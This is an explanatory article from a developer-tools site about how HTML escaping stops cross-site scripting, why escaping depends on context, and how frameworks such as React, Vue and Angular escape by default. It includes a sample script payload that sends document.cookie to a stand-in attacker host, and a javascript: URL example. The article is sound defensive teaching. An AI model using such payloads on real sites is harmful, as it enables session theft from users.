DevTools Hub

Search tools

Search for a developer tool

Why HTML Escaping Prevents XSS

Part of the Encoding Toolkit

Cross-site scripting happens when data an attacker controls ends up somewhere the browser parses it as HTML or JavaScript instead of displaying it as inert text. HTML escaping is the specific, narrow fix for that specific problem — and understanding exactly what it does, and exactly where it stops working, matters more than memorizing that "escaping prevents XSS" as a slogan.

The mechanism, concretely

Say a comment field echoes whatever a user typed straight into the page:

<div>${userComment}</div>

If userComment is <script>fetch('https://evil.example/steal?c=' + document.cookie)</script>, and it gets inserted unescaped, the browser's HTML parser does exactly what it's designed to do: sees an opening <script> tag and executes whatever's inside it as JavaScript, with access to that page's cookies, DOM, and session — indistinguishable from code the site's own developers wrote.

HTML-escape the same value first — converting the five characters that actually carry syntactic meaning in HTML — and the parser never sees a tag at all:

&    ->  &amp;
<    ->  &lt;
>    ->  &gt;
"    ->  &quot;
'    ->  &#x27;

This is OWASP's documented minimum set for the HTML body context. &lt;script&gt;...&lt;/script&gt; renders on the page as the literal text <script>...</script> — visible, inert, and never handed to the JavaScript engine at all. The attacker's payload didn't get blocked or filtered out; it simply never became a tag in the first place, because the character that would have started one was replaced with its text-equivalent entity before the parser ever ran.

Why this only works for the context it was escaped for

The five-character set above neutralizes HTML body content — text sitting between tags. It does not automatically make data safe everywhere else in an HTML document, because the browser parses different parts of that document with different rules. OWASP is direct about this: "there are many different output encoding methods because browsers parse HTML, JS, URLs, and CSS differently. Using the wrong encoding method may introduce weaknesses." A value dropped into an HTML attribute, a <script> block, a style attribute, or a URL each needs escaping rules specific to that context — HTML body escaping alone doesn't cover any of them. A classic example: <a href="${url}"> with an unescaped url of javascript:alert(document.cookie) executes when clicked — no < or > was ever involved, so HTML entity escaping wouldn't have touched it at all. That's a URL-context problem needing a URL-context fix (validating the scheme, or using URL Encode where percent-encoding is actually what's called for), not an HTML-escaping problem.

What modern frameworks actually do for you

React, Vue, and Angular all escape content by default when you bind data into a template or JSX expression — <div>{userComment}</div> in JSX is safe against the exact attack above, automatically, with no explicit escaping call required. That default is exactly why XSS has gotten rarer in modern framework code compared to the template-string-concatenation era. But every framework ships a deliberate escape hatch for the times raw HTML genuinely needs to be inserted — dangerouslySetInnerHTML in React, v-html in Vue, [innerHTML] combined with bypassSecurityTrustHtml in Angular — and every one of those names is deliberately alarming for the same reason: reaching for it with attacker-influenced data is exactly how XSS gets back into applications that otherwise auto-escape everything. If content genuinely needs to allow some HTML (rich text from a WYSIWYG editor, for instance), that's a sanitization problem — running the markup through an allowlist-based sanitizer like DOMPurify — not something plain escaping can solve, since escaping the whole thing would just display the markup as text instead of rendering any of it.

Try it yourself

HTML Encode and HTML Decode apply and reverse exactly the escaping described above. For the broader distinction between escaping, encoding, and sanitizing — and why none of the three substitute for each other — see String Escaping Explained. Both tools run entirely in your browser.

Related tools